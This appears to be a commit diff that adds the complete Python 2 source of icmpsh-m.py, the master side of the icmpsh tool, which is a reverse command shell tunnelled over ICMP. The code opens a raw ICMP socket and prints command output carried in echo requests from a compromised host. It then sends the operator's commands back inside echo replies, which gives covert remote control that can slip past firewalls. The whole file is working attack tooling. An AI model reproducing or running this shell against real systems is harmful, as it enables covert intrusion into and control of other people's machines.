|
| 1 | +#!/usr/bin/env python |
| 2 | +# |
| 3 | +# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in |
| 4 | +# Perl by Nico Leidecker <[email protected]>) |
| 5 | +# |
| 6 | +# Copyright (c) 2010, Bernardo Damele A. G. <[email protected]> |
| 7 | +# |
| 8 | +# |
| 9 | +# This program is free software: you can redistribute it and/or modify |
| 10 | +# it under the terms of the GNU General Public License as published by |
| 11 | +# the Free Software Foundation, either version 3 of the License, or |
| 12 | +# (at your option) any later version. |
| 13 | +# |
| 14 | +# This program is distributed in the hope that it will be useful, |
| 15 | +# but WITHOUT ANY WARRANTY; without even the implied warranty of |
| 16 | +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| 17 | +# GNU General Public License for more details. |
| 18 | +# |
| 19 | +# You should have received a copy of the GNU General Public License |
| 20 | +# along with this program. If not, see <http://www.gnu.org/licenses/>. |
| 21 | + |
| 22 | +import fcntl |
| 23 | +import os |
| 24 | +import select |
| 25 | +import socket |
| 26 | +import sys |
| 27 | + |
| 28 | +from impacket import ImpactDecoder |
| 29 | +from impacket import ImpactPacket |
| 30 | + |
| 31 | +def main(src, dst): |
| 32 | + # Make standard input a non-blocking file |
| 33 | + fd = sys.stdin.fileno() |
| 34 | + fl = fcntl.fcntl(fd, fcntl.F_GETFL) |
| 35 | + fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK) |
| 36 | + |
| 37 | + # Open one socket for ICMP protocol |
| 38 | + # A special option is set on the socket so that IP headers are included |
| 39 | + # with the returned data |
| 40 | + try: |
| 41 | + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) |
| 42 | + except socket.error, e: |
| 43 | + print 'You need to run icmpsh master with administrator privileges' |
| 44 | + sys.exit(1) |
| 45 | + |
| 46 | + sock.setblocking(0) |
| 47 | + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
| 48 | + |
| 49 | + # Create a new IP packet and set its source and destination addresses |
| 50 | + ip = ImpactPacket.IP() |
| 51 | + ip.set_ip_src(src) |
| 52 | + ip.set_ip_dst(dst) |
| 53 | + |
| 54 | + # Create a new ICMP packet of type ECHO REPLY |
| 55 | + icmp = ImpactPacket.ICMP() |
| 56 | + icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) |
| 57 | + |
| 58 | + # Instantiate an IP packets decoder |
| 59 | + decoder = ImpactDecoder.IPDecoder() |
| 60 | + |
| 61 | + while 1: |
| 62 | + cmd = '' |
| 63 | + |
| 64 | + # Wait for incoming replies |
| 65 | + if sock in select.select([ sock ], [], [])[0]: |
| 66 | + buff = sock.recv(4096) |
| 67 | + |
| 68 | + if 0 == len(buff): |
| 69 | + # Socket remotely closed |
| 70 | + sock.close() |
| 71 | + sys.exit(0) |
| 72 | + |
| 73 | + # Packet received; decode and display it |
| 74 | + ippacket = decoder.decode(buff) |
| 75 | + icmppacket = ippacket.child() |
| 76 | + |
| 77 | + # If the packet matches, report it to the user |
| 78 | + if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): |
| 79 | + # Get identifier and sequence number |
| 80 | + ident = icmppacket.get_icmp_id() |
| 81 | + seq_id = icmppacket.get_icmp_seq() |
| 82 | + data = icmppacket.get_data_as_string() |
| 83 | + |
| 84 | + if len(data) > 0: |
| 85 | + print data |
| 86 | + |
| 87 | + # Parse command from standard input |
| 88 | + try: |
| 89 | + cmd = sys.stdin.readline() |
| 90 | + except: |
| 91 | + pass |
| 92 | + |
| 93 | + if cmd == 'exit': |
| 94 | + break |
| 95 | + |
| 96 | + cmd += '\n' |
| 97 | + |
| 98 | + # Set sequence number and identifier |
| 99 | + icmp.set_icmp_id(ident) |
| 100 | + icmp.set_icmp_seq(seq_id) |
| 101 | + |
| 102 | + # Include the command as data inside the ICMP packet |
| 103 | + icmp.contains(ImpactPacket.Data(cmd)) |
| 104 | + |
| 105 | + # Calculate its checksum |
| 106 | + icmp.set_icmp_cksum(0) |
| 107 | + icmp.auto_checksum = 1 |
| 108 | + |
| 109 | + # Have the IP packet contain the ICMP packet (along with its payload) |
| 110 | + ip.contains(icmp) |
| 111 | + |
| 112 | + # Send it to the target host |
| 113 | + sock.sendto(ip.get_packet(), (dst, 0)) |
| 114 | + |
| 115 | +if __name__ == '__main__': |
| 116 | + if len(sys.argv) < 2: |
| 117 | + print 'missing mandatory options. Execute as root:' |
| 118 | + print './icmpsh-m.py <source IP address> <destination IP address>' |
| 119 | + sys.exit(1) |
| 120 | + |
| 121 | + main(sys.argv[1], sys.argv[2]) |
0 commit comments